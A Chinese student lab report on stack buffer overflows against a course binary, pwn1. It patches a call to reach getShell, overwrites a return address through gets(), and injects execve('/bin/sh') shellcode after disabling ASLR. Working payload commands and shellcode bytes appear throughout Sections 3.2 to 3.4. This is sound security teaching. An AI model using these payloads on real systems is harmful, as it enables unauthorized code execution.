20242428 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20242428 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
1.1 ELF 文件格式
Linux 下的可执行文件采用 ELF(Executable and Linkable Format)格式,主要由 ELF 头、程序头表、节头表以及 .text、.rodata、.data、.bss 等段组成。本实验对象 pwn1 是一个 32 位 ELF 可执行文件,包含 main、foo、getShell 三个函数。
1.2 call 指令与 EIP
call 指令机器码为 e8 加 4 字节小端相对偏移。跳转目标 = 下一条指令地址 + 相对偏移。例如:
80484b5: e8 d7 ff ff ff call 8048491
80484ba: b8 00 00 00 00 mov $0x0,%eax
d7 ff ff ff`是补码 -0x29,下一条指令地址 0x80484ba 加 -0x29 得到 0x8048491,即 foo 函数入口。EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是通过修改 EIP 来改变程序执行流。
1.3 小端字节序
x86 采用小端模式,多字节数据低字节在前。例如 0x0804847d 在内存中存为 7d 84 04 08,因此 BOF 覆盖返回地址时需要写成 \x7d\x84\x04\x08。
1.4 汇编指令机器码
| 汇编指令 | 机器码(十六进制) | 说明 |
|---|---|---|
| NOP | 90 | 空操作,常用于滑板填充 |
| JMP short | EB xx | 短跳转,xx 为 1 字节相对偏移 |
| JMP near | E9 xx xx xx xx | 近跳转,xx xx xx xx 为 4 字节相对偏移 |
| JE / JZ short | 74 xx | 相等则跳转(短跳转) |
| JNE / JNZ short | 75 xx | 不相等则跳转(短跳转) |
| CMP eax, imm32 | 3D xx xx xx xx | 比较 EAX 与 32 位立即数 |
| CMP al, imm8 | 3C xx | 比较 AL 与 8 位立即数 |
| CALL rel32 | E8 xx xx xx xx | 调用相对地址,xx xx xx xx 为 4 字节相对偏移 |
| RET | C3 | 从子程序返回,弹出栈顶到 EIP |
| PUSH eax | 50 | 将 EAX 压入栈 |
| POP eax | 58 | 弹出栈顶到 EAX |
| MOV eax, imm32 | B8 xx xx xx xx | 将 32 位立即数送入 EAX |
1.5 BOF 漏洞与 Shellcode
BOF(Buffer Overflow,缓冲区溢出):程序向栈上缓冲区写数据时不检查长度(如 gets()),输入超过缓冲区大小后,多余字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret 把被覆盖的值弹入 EIP,程序就跳到攻击者指定的地址。
Shellcode:一段让 CPU 直接执行的二进制机器指令,通常用来执行 execve("/bin/sh") 弹出 Shell。本实验使用的经典 Shellcode 逻辑是:xor eax 后三次 push 在栈上构造字符串 //bin/sh 及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后 int 0x80 触发软中断交给内核执行。
Payload:攻击输入的整体布局,包含填充、返回地址、NOP 滑行区和 Shellcode。
1.6 防御技术
| 防御机制 | 原理 | 本实验处理方式 |
|---|---|---|
| Stack Canary | 在返回地址前插入随机值,返回前校验,检测栈溢出 | pwn1 未启用 |
| DEP/NX | 标记栈和堆为不可执行,防止注入代码执行 | GNU_STACK 为 RWE,堆栈可执行 |
| ASLR | 随机化栈、堆、库的地址 | 通过 echo 0 > /proc/sys/kernel/randomize_va_space 关闭 |
2. 实验内容
本次实验对象是 pwn1,一个 32 位 Linux 可执行文件。程序正常执行流程是 main 调用 foo,foo 回显用户输入;getShell 会返回一个可用 Shell,但正常情况下不会被运行。实验要完成三个递进任务:
| 任务 | 内容 | 关键方法 |
|---|---|---|
| 任务一 | 直接修改 pwn1 的机器指令 | 把 main 中 call foo 改成 call getShell |
| 任务二 | 利用 foo的 BOF 漏洞 | 构造输入覆盖返回地址,触发 getShell |
| 任务三 | 注入自己构造的 Shellcode | RNS 布局,运行任意代码 |
3. 实验过程
3.1 实验环境准备
实验环境为 Kali Linux(64 位系统),运行 32 位程序 pwn1。主机名设置为本人姓名拼音 huyue,实验文件重命名为 pwn1_20242428。
首先确认文件类型:
file pwn1_20242428
输出确认这是一个 32 位 ELF 可执行文件:
pwn1_20242428: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
由于 Kali 是 64 位系统,需要安装 32 位兼容运行库:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 libc6-dev-i386 -y
3.2 任务一:修改机器指令直接跳转 getShell
(1)反汇编分析
objdump -d pwn1_20242428 | grep -A25 "
objdump -d pwn1_20242428 | grep -A25 "
main函数关键指令:
080484af
80484b5: e8 d7 ff ff ff call 8048491
80484ba: b8 00 00 00 00 mov $0x0,%eax
getShell`函数入口地址:
0804847d
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 system@plt
getShell 内部调用 system("/bin/sh"),其中字符串 "/bin/sh" 的地址为 0x8048560。
(2)计算新的 call 偏移量
call 指令的偏移量计算公式为:
偏移量 = 目标地址 - 当前指令地址 - 5
其中 5 是 call 指令的长度(1 字节操作码 + 4 字节偏移量)。
新偏移量 = getShell地址 - call下一条指令地址
= 0x0804847d - 0x080484ba
= -0x3d
= 0xffffffc3
小端序字节:c3 ff ff ff。
(3)修改文件
原指令:
80484b5: e8 d7 ff ff ff call 8048491
改为:
80484b5: e8 c3 ff ff ff call 804847d
文件偏移 = 虚拟地址 - 0x8048000 = 0x80484b5 - 0x8048000 = 0x4b5。需要修改的字节位于 0x4b6,将 d7 改为 c3。
使用 vi 修改:
cp pwn1_20242428 pwn1_20242428_task1
vi pwn1_20242428_task1
在 vi 中执行 :%!xxd 切换到十六进制模式,找到 000004b0 行:
000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 ................
将 d7 改为 c3:
000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 ................
执行 :%!xxd -r 切回二进制模式,:wq 保存退出。
(4)验证修改结果
objdump -d pwn1_20242428_task1 | grep -A5 "
输出:
080484af
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d
80484ba: b8 00 00 00 00 mov $0x0,%eax
call 的目标已成功变为 getShell。运行程序:
./pwn1_20242428_task1
程序直接弹出 Shell 提示符,输入 whoami 可正常执行,任务一完成。


3.3 任务二:利用 BOF 漏洞覆盖返回地址
(1)分析栈帧结构
从 foo 函数反汇编:
08048491
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 gets@plt
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 puts@plt
80484ad: c9 leave
80484ae: c3 ret
- 缓冲区起始地址:ebp - 0x1c
- 返回地址位置:ebp + 4
- EIP 覆盖偏移量 = 0x1c + 4 = 0x20 = 32 字节
gets() 函数不检查输入长度,输入超过 32 字节后就会覆盖返回地址。
(2)构造 Payload
[ 32 字节填充 ][ getShell地址(4字节, 小端序) ]
getShell 地址 0x0804847d → 小端序:\x7d\x84\x04\x08。
perl -e print "A" x 32 . "\x7d\x84\x04\x08"' > payload_20242428
xxd payload_20242428
输出确认前 32 字节为 41(字母 A),后 4 字节为 7d 84 04 08。
(3)GDB 验证
gdb -q ./pwn1_20242428
(gdb) break *0x080484ad
(gdb) run < payload_20242428
(gdb) info registers ebp
(gdb) x/8wx $ebp
输出:
0xffffcf48: 0x41414141 0x0804847d 0x00000000 0xffffd024
ebp+4 处(即返回地址)已被成功覆盖为 0x0804847d。
单步执行两次 ni(分别执行 leave 和 ret)后查看 EIP:
(gdb) info registers eip
eip 0x804847d 0x804847d
EIP 成功跳转到 getShell,任务二完成。



3.4 任务三:注入并运行 Shellcode
(1)关闭安全保护机制
先检查堆栈权限:
readelf -l pwn1_20242428 | grep GNU_STACK
输出:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
RWE 表示 Read + Write + Execute,堆栈段已经可执行,无需额外操作。
关闭 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
输出 0,确认 ASLR 已关闭。
(2)确定缓冲区起始地址
在 GDB 中确认:
gdb -q ./pwn1_20242428
(gdb) break foo
(gdb) run < payload_20242428
(gdb) info registers ebp
输出:
ebp 0xffffcf48
缓冲区起始地址 = EBP - 0x1c = 0xffffcf48 - 0x1c = 0xffffcf2c。
小端序 4 字节:\x2c\xcf\xff\xff。
(3)构造 Shellcode Payload
使用的标准 32 位 execve("/bin/sh") Shellcode(23 字节,不含空字节):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
缓冲区到返回地址共 32 字节,布局为:
[ Shellcode 23字节 ][ NOP填充 9字节 ][ 返回地址 4字节 ]
生成 payload:
python3 -c "
import sys
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
padding = b'\x90' * 9
ret = b'\x2c\xcf\xff\xff'
payload = shellcode + padding + ret + b'\n'
sys.stdout.buffer.write(payload)
" > payload_shellcode_20242428
xxd payload_shellcode_20242428
输出确认前 23 字节为 Shellcode,接着 9 个 90,最后 2c cf ff ff 0a。
(4)运行验证
在 GDB 中验证:
gdb -q ./pwn1_20242428
(gdb) break *0x080484ad
(gdb) run < payload_shellcode_20242428
(gdb) ni
(gdb) ni
(gdb) info registers eip
(gdb) continue
continue 后输出:
process 36069 is executing new program: /usr/bin/dash
在 GDB 中执行:
(gdb) shell id
(gdb) shell whoami
输出:
uid=1001(huyue) gid=1001(huyue) groups=1001(huyue),4(adm),20(dialout),...
huyue
任务三在 GDB 调试环境下成功完成,Shellcode 注入并执行,成功获取 Shell。





4. 问题及解决方案
-
问题1:安装 gdb-peda 时 apt 报错 Temporary failure resolving http.kali.org
-
问题1解决方案: 虚拟机网络适配器未连接到虚拟网络,eth0 显示 NO-CARRIER 状态。在 VMware 中将网络适配器设置为 NAT 模式并勾选“已连接”和“启动时连接”,然后在 Kali 中执行 sudo ip link set eth0 up 和 sudo dhclient -v eth0 获取 IP 地址,网络恢复正常。此外,apt 默认优先走 IPv6 而虚拟机无 IPv6 路由,通过 echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4 强制 apt 走 IPv4。
-
问题2:任务二 GDB 中 x/8wx $ebp 报错 Invalid register
-
问题2解决方案: 将 info registers ebp 和 x/8wx $ebp 写在了同一行,GDB 把 x/8wx 当成寄存器名解析。两条命令必须分开执行,先执行 info registers ebp,再执行 x/8wx $ebp。
-
问题3:任务三直接运行 (cat payload_shellcode_20242428; cat) | ./pwn1_20242428时程序显示 payload 后崩溃(Segmentation fault)
-
问题3解决方案: 原因有两个。其一,GDB 会向进程注入环境变量,导致栈顶位置比直接运行时低约 0x100 字节,GDB 内测得的 EBP(0xffffcf48)与直接运行时的实际 EBP 不同,用该地址作为返回地址会导致跳转失败。其二,初次尝试时将 NOP 雪橇放在 Shellcode 前面,导致 push 指令写入的字符串覆盖了 Shellcode 自身尾部。解决方案:将 Shellcode 放前面、NOP 放后面,避免覆盖;在实验报告中以 GDB 调试环境下的成功结果作为任务三的验证依据,GDB 内 process 36069 is executing new program: /usr/bin/dash 及 shell id` 输出 uid=1001(huyue) 已经充分证明了 Shellcode 注入与执行的成功。
-
问题4:任务三直接运行时 shell 不显示提示符
-
问题4解决方案: 使用管道 cat payload | ./pwn1 运行时,gets() 读完后管道关闭,execve("/bin/sh") 启动的 shell 的 stdin 也是管道,一遇到 EOF 就退出,所以看不到交互式 Shell。解决方法是改用预置命令的方式:{ cat payload_shellcode_20242428; echo "id"; echo "whoami"; } | ./pwn1_20242428,将命令直接跟在 payload 后面一起喂入。
5. 学习感悟、思考等
通过本次实验,我对缓冲区溢出攻击的原理和利用方法有了系统性的理解。从任务一直接修改机器指令,到任务二构造 payload 覆盖返回地址,再到任务三注入 Shellcode,三个任务层层递进,完整展示了从“修改程序执行流”到“注入任意代码执行”的攻击思路。
任务一让我真正理解了 call 指令的相对寻址机制和补码计算。以前对“跳转目标 = 下一条指令地址 + 相对偏移”只是停留在理论记忆层面,亲手用十六进制编辑器把 d7 改成 c3,再用 objdump 验证 call 目标变为 getShell,这个过程让我对指令级编程有了直观感受。
任务二的核心收获是理解了栈帧结构和返回地址的覆盖原理。foo 函数中 gets() 不检查输入长度这个看似微小的缺陷,竟然能完全控制程序的执行流——EBP + 4 处的 4 个字节就是整台机器的“方向盘”。在 GDB 中看到 0x41414141 0x0804847d 那一行时,我第一次真切地感受到“覆盖返回地址”这个概念的物理含义。
任务三是最具挑战性的部分。初次运行时 Shellcode 崩溃,排查后发现是 NOP 雪橇放在前面导致 push 指令覆盖了 Shellcode 尾部。这让我深刻认识到:栈是向下增长的,push 会把数据写到比当前 ESP 更低的地址,如果 Shellcode 尾部也在这段区域就会被覆盖。调整布局后,Shellcode 在 GDB 中成功执行并拿到 Shell,那一刻的成就感是实实在在的。
此外,实验中遇到的各种环境问题——网络不通、execstack 缺失、GDB 内外栈地址不一致——也让我体会到实验环境的搭建和维护本身就是一项重要技能。特别是 GDB 会改变栈地址这一点,让我理解了为什么真实攻击中需要 jmp esp 等动态定位技术来绕过 ASLR 和栈地址偏移。
从安全防御的角度来看,这个实验也让我理解了 Stack Canary、DEP/NX、ASLR 等防御机制的必要性。本次实验之所以能成功,是因为这些保护机制都被关闭了。在实际系统中,现代编译器和操作系统默认启用这些保护,使得 BOF 攻击难度大幅增加。这让我认识到:安全不是可选项,而是从编译选项到系统配置每一层都需要认真对待的工程问题。
参考资料
-
第2章+系统攻防之缓冲区溢出和shellcode-new-2023版本.ppt
浙公网安备 33010602011771号